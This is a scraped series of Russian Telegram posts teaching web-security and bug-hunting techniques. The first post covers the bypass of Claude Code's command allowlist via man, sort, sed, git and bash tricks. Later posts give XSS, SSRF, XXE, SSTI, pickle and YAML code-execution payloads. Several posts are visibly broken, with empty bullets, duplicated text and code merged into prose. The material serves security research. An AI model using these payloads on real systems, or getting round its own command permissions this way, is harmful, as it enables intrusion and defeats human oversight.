Command injection в Claude Code: извлекаем правильные уроки 🤖
Исследователь из Flatt Security нашел 8 способов обхода белых списков команд в Claude Code. Его подход можно и нужно использовать при поиске багов в веб-приложениях⤵️
Под капотом Claude Code использовал регулярные выражения, которые разрешали «безопасные» команды вроде
1️⃣ Опасные флаги в «безопасных» командах
🧡
🧡
🧡
2️⃣ Сокращение аргументов в Git
🧡 Git автоматически дополняет сокращённые флаги:
🧡 Regex-фильтры проверяют точные имена флагов
🧡
3️⃣ Различная интерпретация аргументов команды
🧡
🧡 В итоге
4️⃣ Расширение prompt в Bash
Модификатор
В сочетании с присваиванием
💬 Какой вывод можно сделать?
Любой контроль, основанный на проверке строк или «разрешённых значений», часто ломается на реальном поведении системы.
Если приложение фильтрует параметры, команды, пути, роли или действия через regex, списки допустимых значений или «безопасные» флаги — ищи расхождение между тем, что проверяет код, и тем, как это интерпретирует движок дальше.
И да: всегда читай документацию целиком. Большинство обходов лежат в man-страницах и спецификациях — просто до них никто не дошёл.
Исследователь из Flatt Security нашел 8 способов обхода белых списков команд в Claude Code. Его подход можно и нужно использовать при поиске багов в веб-приложениях
Под капотом Claude Code использовал регулярные выражения, которые разрешали «безопасные» команды вроде
man, sort, sed, xargs. Каждый обход эксплуатировал одно из следующих свойств:man --html='touch /tmp/pwned' man — флаг --html задаёт рендерер, который выполняет произвольные командыsort --compress-program=/bin/sh — флаг утилиты сжатия принимает исполняемые файлыecho test | sed 's/test/touch \/tmp\/pwned/e' — модификатор e выполняет shell-команды.--upload-pa превращается в --upload-packgit ls-remote --upload-pa='...' обходит блокировку --upload-packxargs -t touch echo — regex считает, что -t обрабатывает следующий аргумент, но -t является логическим значениемtouch становится исполняемой командой, а не аргументом для -techo ${one="$"}${two="$one(touch /tmp/pwned)"}${two@P}Модификатор
@P интерпретирует переменную как строку промпта, который поддерживает подстановку команд. В сочетании с присваиванием
$ это позволяет вырваться из ограниченных контекстов, например при установке переменной one в $.Любой контроль, основанный на проверке строк или «разрешённых значений», часто ломается на реальном поведении системы.
Если приложение фильтрует параметры, команды, пути, роли или действия через regex, списки допустимых значений или «безопасные» флаги — ищи расхождение между тем, что проверяет код, и тем, как это интерпретирует движок дальше.
И да: всегда читай документацию целиком. Большинство обходов лежат в man-страницах и спецификациях — просто до них никто не дошёл.
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔7❤6
Санитайзеры могут разрешать ⤴️
Маскируем XSS-пэйлоад в виде списка URL-адресов💨
https://, считая это автоссылкой Markdown. Но если рендерится как сырой HTML вместо тега якоря — перед тобой вектор XSS Маскируем XSS-пэйлоад в виде списка URL-адресов
<https://site.com/x?v1/onfocus=alert().jpg
https://site.com/x?v1/autofocus=1.jpg
https://site.com/x?v1/tabindex=1.jpg>
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14❤2👌2
Двусмысленность лексера JavaScript на практике 🤔
Некоторые ключевые слова в JS ожидают выражение. Если после них стоит
Следующий
Некоторые ключевые слова в JS ожидают выражение. Если после них стоит
/, движок трактует это как начало regex.Следующий
/ закрывает регулярку, а ещё один / уже воспринимается как оператор деления — и правая часть выполняется:<script>
delete/delete; //alert(1)
typeof/typeof; //alert(2)
void/void; //alert(3)
throw/throw; //alert(4)
</script>
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯13🔥7❤🔥3
Как заруинить Chrome пользователя: client-side DoS в Chrome через SVG и XSLT 💨
В рендер-движке Blink SVG, загружаемые как статические изображения, поддерживают XSLT-трансформации. Этим можно злоупотребить для client-side DoS.
Внутри SVG размещается XSLT с большим количеством вложенных
⚫️ Начинает активно потреблять память
⚫️ Постепенно замедляет вкладку
⚫️ Через несколько секунд приводит к зависанию или крашу вкладки (иногда браузера целиком)
Атака возможна, если:
➡️ Браузер основан на Blink (Chrome, Edge и др.)
➡️ есть возможность указать удалённое SVG-изображение
➡️ SVG загружается через img или background-image (можно использовать и другие HTML-теги/атрибуты или свойства CSS)
➡️ Отсутствует фильтрация типа контента или SVG
Типичный сценарий — HTML/CSS injection с контролем URL изображения.
Практическая применимость
✅ Client-side DoS и деградация UX
✅ Атаки на публичные страницы: профили, комментарии, ленты
✅ Проверка нестандартных векторов при HTML/CSS injection
Подобные кейсы расширяют понимание поверхности атаки и помогают находить неочевидные client-side векторы, которые могут стать частью более сложных цепочек атак🤔
В рендер-движке Blink SVG, загружаемые как статические изображения, поддерживают XSLT-трансформации. Этим можно злоупотребить для client-side DoS.
Внутри SVG размещается XSLT с большим количеством вложенных
<xsl:for-each>. При рендеринге браузер:Атака возможна, если:
<img src="./dos.svg">
<div style="background-image: url('./dos.svg')">dos</div>
Типичный сценарий — HTML/CSS injection с контролем URL изображения.
Практическая применимость
Подобные кейсы расширяют понимание поверхности атаки и помогают находить неочевидные client-side векторы, которые могут стать частью более сложных цепочек атак
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7👍3❤1
Несоответствия в работе парсеров: list-based 🆚 singleton fields → MIME confusion → XSS (Chrome/Firefox)
Есть заголовки вроде
Проблема начинается, когда:
⚫️ бэкенд валидирует заголовок как singleton,
⚫️ браузер интерпретирует его как список,
⚫️ или наоборот.
В итоге два участника цепочки видят разный «эффективный» MIME-тип.
Пример концепции:
Что происходит:
✅ Бэкенд проверяет и видит:
✅ Браузер парсит и получает:
✅ Ответ рендерится как HTML
Получаем MIME confusion → XSS💨
Пост вдохновлен этим исследованием🔚
Несоответствия в работе парсеров возникает, когда два или более парсера, обрабатывающих одни и те же входные данные, выдают два или более различных результата.
Есть заголовки вроде
Content-Type. По RFC часть полей считается singleton (ожидается одно значение), часть — list-based (возможны несколько значений).Проблема начинается, когда:
В итоге два участника цепочки видят разный «эффективный» MIME-тип.
Пример концепции:
Content-Type: application/json; , text/html
Что происходит:
application/json → пропускаем как JSONtext/htmlПолучаем MIME confusion → XSS
Пост вдохновлен этим исследованием
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10❤3
Почему AFL++ — не лучший выбор для V8 🚫
AFL++ — мощный, но не универсальный фаззер. Для браузеров нужен точечный подход. JS-движки и DOM — это другая архитектура: JIT, AST, runtime, состояние.
Если хочешь находить реальные баги — используй правильные инструменты⤵️
➡️ JS-движок → Fuzzilli
Его отличительная черта — промежуточный язык FuzzIL, который можно мутировать и затем транслировать в JS. Этот язык обеспечивает мутированному JS семантическую валидность: даже после нескольких раундов изменений в коде остается логика, с которой движок будет работать.
➡️ DOM → Domato (есть форки и улучшения, но это один из топовых)
Как и большинство фаззеров DOM, Domato генерирует образец с нуля на основе набора грамматик, описывающих структуру HTML/CSS + различные объекты, свойства и функции JS.
➡️ Используй AFL для фаззинга медиа браузера, шрифтов или других парсеров бинарного контента.
AFL++ — мощный, но не универсальный фаззер. Для браузеров нужен точечный подход. JS-движки и DOM — это другая архитектура: JIT, AST, runtime, состояние.
Если хочешь находить реальные баги — используй правильные инструменты
Его отличительная черта — промежуточный язык FuzzIL, который можно мутировать и затем транслировать в JS. Этот язык обеспечивает мутированному JS семантическую валидность: даже после нескольких раундов изменений в коде остается логика, с которой движок будет работать.
Как и большинство фаззеров DOM, Domato генерирует образец с нуля на основе набора грамматик, описывающих структуру HTML/CSS + различные объекты, свойства и функции JS.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7🔥2
Как превратить blind SSRF в SSRF с полным ответом 😵💫
В прошлом году Shubham Shah из команды Assetnote Security Research показал нестандартную технику эксплуатации blind SSRF через циклы HTTP-редиректов.
Техника родилась из конкретного кейса, но сам подход гораздо шире и применим к другим приложениям.
🧠 В чём идея
При анализе SSRF ты замечаешь нестандартное поведение:
✅ При 1–2 редиректах — ошибка парсинга JSON
✅ При большем числе —
✅ При ответе с HTTP-кодом 500 возвращался полный HTTP-ответ
Если приложение по-разному обрабатывает коды ответа, можно ли добиться полноценного
Исходя из анализа SSRF ты выявил, что некоторые нестандартные коды 3xx вызывают ту же обработку, что и 500.
Что дальше❓
Поднимаешь простой веб-сервер, который:
1⃣ Делает цикл редиректов
2⃣ При каждом запросе увеличивает HTTP-код
3⃣ После заданного количества редиректов отправляет на целевой URL
Если после всех редиректов в конце получил🔥
В прошлом году Shubham Shah из команды Assetnote Security Research показал нестандартную технику эксплуатации blind SSRF через циклы HTTP-редиректов.
Техника родилась из конкретного кейса, но сам подход гораздо шире и применим к другим приложениям.
При анализе SSRF ты замечаешь нестандартное поведение:
NetworkExceptionЕсли приложение по-разному обрабатывает коды ответа, можно ли добиться полноценного
200 OK и угнать креды через metadata IP?Исходя из анализа SSRF ты выявил, что некоторые нестандартные коды 3xx вызывают ту же обработку, что и 500.
Что дальше
Поднимаешь простой веб-сервер, который:
Если после всех редиректов в конце получил
200 OK с полным ответом — тебе удалось расширить импакт Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤13🔥3
Теги
Работает в🌐 и 🌐 (в Firefox атрибут отключён по умолчанию).
При клике браузер отправляет POST-запрос, в заголовке
Если страница загружена по HTTP или эндпоинт
📌 Пример PoC
<a>/<area> могут раскрывать URL-адреса страниц + креды (источник, путь, запрос, фрагмент post-click) с помощью атрибута href="#" с атрибутом ping, указывающим на другое место.Работает в
pingПри клике браузер отправляет POST-запрос, в заголовке
Ping-To указывается URL. referrer-policy игнорируется — доставку ограничивает только директива connect-src в CSP.Если страница загружена по HTTP или эндпоинт
ping находится в том же origin, то ещё отправляется заголовок Ping-From с полным URL (включая фрагмент pre-click).Please open Telegram to view this post
VIEW IN TELEGRAM
❤10👍2
InQL v6.1.0: как новая версия делает ее универсальной тулзой для тестирования безопасности GraphQL 🚨
Когда под капотом неизвестный GraphQL-стек, самое затратное — это разведка. InQL 6.1.0 сокращает этот этап до минимума.
Используй Fingerprinter движка InQL в Burp, чтобы за считанные секунды идентифицировать стек GraphQL и избавить себя от проб и ошибок. Разберем эту и другие новые фичи подробнее⤵️
➡️ Брутфорсер схемы GraphQL (фича вдохновлена CLI-тулзой Clairvoyance Никиты Ступина)
До сих пор InQL был наиболее полезен, когда на сервере была включена функция introspection или когда у тебя уже был файл со схемой GraphQL.
В версии 6.1.0 тулза может попытаться восстановить схему бэкенда, используя подсказки “did you mean…”, поддерживаемые многими реализациями серверов GraphQL.
➡️ GraphQL Server Engine Fingerprinter
Новая версия InQL теперь может определять движок GraphQL, используемый внутренним сервером.
В каждом движке GraphQL реализованы немного отличающиеся друг от друга средства защиты и небезопасные настройки по умолчанию.
Это открывает возможности для использования уникальных векторов атак, характерных для конкретного движка.
➡️ Автоматическая генерация переменных (дефолтные значения)
Хотя предыдущие версии InQL отлично подходили для анализа схем, поиска циклических ссылок и определения интересующих точек, создание корректного запроса могло вызывать затруднения.
Тулза не поддерживала переменные, поэтому их приходилось вводить вручную. В новой версии эта проблема решена.
Когда под капотом неизвестный GraphQL-стек, самое затратное — это разведка. InQL 6.1.0 сокращает этот этап до минимума.
Используй Fingerprinter движка InQL в Burp, чтобы за считанные секунды идентифицировать стек GraphQL и избавить себя от проб и ошибок. Разберем эту и другие новые фичи подробнее
До сих пор InQL был наиболее полезен, когда на сервере была включена функция introspection или когда у тебя уже был файл со схемой GraphQL.
В версии 6.1.0 тулза может попытаться восстановить схему бэкенда, используя подсказки “did you mean…”, поддерживаемые многими реализациями серверов GraphQL.
Новая версия InQL теперь может определять движок GraphQL, используемый внутренним сервером.
В каждом движке GraphQL реализованы немного отличающиеся друг от друга средства защиты и небезопасные настройки по умолчанию.
Это открывает возможности для использования уникальных векторов атак, характерных для конкретного движка.
Хотя предыдущие версии InQL отлично подходили для анализа схем, поиска циклических ссылок и определения интересующих точек, создание корректного запроса могло вызывать затруднения.
Тулза не поддерживала переменные, поэтому их приходилось вводить вручную. В новой версии эта проблема решена.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👌2❤1
HTML-элемент <geolocation> → новый вектор для эксплуатации XSS 🌐
С января 2026 (Chrome 144+) в браузере официально появился декларативный элемент
Он задумывался как удобная альтернатива
Новые векторы уже в шпаргалке от PortSwigger:
С января 2026 (Chrome 144+) в браузере официально появился декларативный элемент
<geolocation>.Он задумывался как удобная альтернатива
navigator.geolocation, чтобы запросы локации выглядели менее подозрительно и чаще получали разрешение от пользователя.Новые векторы уже в шпаргалке от PortSwigger:
<geolocation onvalidationstatuschange=alert(1)>
<geolocation autolocate onlocation=alert(1)>
<geolocation onpromptdismiss=alert(1)>
<geolocation onpromptaction=alert(1)>
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21❤2😈1
Техники байпаса XXE: заметки багхантера 🤔
Средства защиты от XXE сильно различаются по уровню сложности, и многие из них можно обойти.
1️⃣ Байпас фильтров валидации входных данных
⚫️ UTF-16 вместо ASCII
Во многих приложениях используются простые блэклисты ключевых слов, которые можно забайпасить с помощью кодировки и обфускации.
Парсер XML по-прежнему будет корректно обрабатывать данные, но фильтры на основе ASCII не обнаружат вредоносный контент.
💡 Больше примеров кодировок XML и пограничных случаев — в райтапе "Evil XML with Two Encodings" Арсения Шароглазова
⚫️ HTML-entity кодирование
2️⃣ Параметрические сущности
Если приложение блокирует прямое объявление
3️⃣ XXE в нестандартных типах контента
⚫️ Изображения в формате SVG
⚫️ SOAP-эндпоинты
4️⃣ XInclude-атаки при ограничении использования DOCTYPE
Частая защита — просто вырезать
Средства защиты от XXE сильно различаются по уровню сложности, и многие из них можно обойти.
Во многих приложениях используются простые блэклисты ключевых слов, которые можно забайпасить с помощью кодировки и обфускации.
$ cat payload.xml | iconv-f UTF-8 -t UTF-16BE > utf16_payload.xml
Парсер XML по-прежнему будет корректно обрабатывать данные, но фильтры на основе ASCII не обнаружат вредоносный контент.
Если приложение блокирует прямое объявление
ENTITY, попробуй ввести её косвенно: подключить внешний DTD, а уже внутри него разместить пэйлоад.Частая защита — просто вырезать
DOCTYPE. Но если парсер поддерживает XInclude, это не спасает. XInclude позволяет подключать внешние ресурсы без DOCTYPE.Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👌6❤2
Error-based Server-Side Template Injection 🔥
В 2015 году James Kettle опубликовал исследование о Server-Side Template Injection (SSTI), которое описало классический вектор внедрения шаблонов на стороне сервера.
Дальше сообщество сосредоточилось на генерации пэйлоадов под разные языки и движки.
Ресёрч Влада Корчагина «Успешные ошибки: новые техники code injection и SSTI»(#1 в Top 10 web hacking techniques of 2025 ) предлагает другой подход — через эксплуатацию ошибок.
В результате сформировались две техники:
1️⃣ Error-Based
2️⃣ Boolean Error-Based Blind
Ключевые идеи:
🟠 Перенос методологии SQL-инъекций в шаблонные движки
🟠 Эксплуатация подробных сообщений об ошибках для утечки данных
🟠 Деление на ноль как булевый оракул
🟠
Погрузись подробнее в тему:
🔗 Successful Errors: New Code Injection and SSTI Techniques
🔗 Доклад Влада на OFFZONE
В 2015 году James Kettle опубликовал исследование о Server-Side Template Injection (SSTI), которое описало классический вектор внедрения шаблонов на стороне сервера.
Дальше сообщество сосредоточилось на генерации пэйлоадов под разные языки и движки.
Ресёрч Влада Корчагина «Успешные ошибки: новые техники code injection и SSTI»
В результате сформировались две техники:
Ключевые идеи:
(1/0).zxy.zxy — универсальный detection-payload (polyglot)Погрузись подробнее в тему:
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤2
Подводные камни Python: как ошибки разработчиков превращаются в уязвимости 🐍
Разработчики часто предполагают, что встроенные фичи автоматически выполняют очистку или обеспечивают безопасное поведение.
На практике многие из этих фич содержат нестандартные модели поведения, которыми можно злоупотреблять, превращая логические проблемы в уязвимости:
⚫️
⚫️
⚫️
⚫️
⚫️ Функция load библиотеки PyYAML (внешняя либа):
⚫️ Python3 class pollution (built-in): некорректное присвоение атрибутов может позволить изменять структуру классов или объектов
Пост вдохновлен докладом Алекса Брумена "Python Pitfalls: Turning Developer Mistakes into Vulnerabilities" (текстовая версия)💡
Разработчики часто предполагают, что встроенные фичи автоматически выполняют очистку или обеспечивают безопасное поведение.
На практике многие из этих фич содержат нестандартные модели поведения, которыми можно злоупотреблять, превращая логические проблемы в уязвимости:
os.path.join (built-in): если один из аргументов начинается с /, Python игнорирует предыдущие сегменты путиimport os
payload = "/etc/passwd"
file = os.path.join("/user/uploads/", payload)
with open(file, "r") as f:
print(f.read())
# выведет содержимое “/etc/passwd”
pathlib.joinpath (built-in): если какой-либо сегмент является абсолютным путём, он отбрасывает предыдущие части и продолжает работу с абсолютным путёмfrom pathlib import Path
payload = "/etc/passwd"
file = Path("/var/www/html").joinpath("files", payload)
with open(file, "r") as f:
print(f.read())
# выведет содержимое “/etc/passwd”
pickle.loads (built-in): pickle.loads() может выполнять произвольные объекты Pythonimport pickle, base64
payload = "gASVHQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAJpZJSFlFKULg=="
# Выполнить код при десериализации (системная команда ”id”)
file = pickle.loads(base64.b64decode(payload))
urllib.parse.urljoin (built-in): формирует итоговый URL, объединяя базовый URL с одним или несколькими компонентами URLfrom urllib.parse import urljoin
payload = "http://evil.com/"
print(urljoin("http://example.com/", payload))
# вывод: http://evil.com/
yaml.load() может выполнять произвольный Python-код, если ты контролируешь YAMLimport yaml
user_data = "!!python/object/apply:print ['pwned']"
result = yaml.load(user_data, Loader=yaml.Loader)
Пост вдохновлен докладом Алекса Брумена "Python Pitfalls: Turning Developer Mistakes into Vulnerabilities" (текстовая версия)
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11❤🔥2👍2👎2🔥1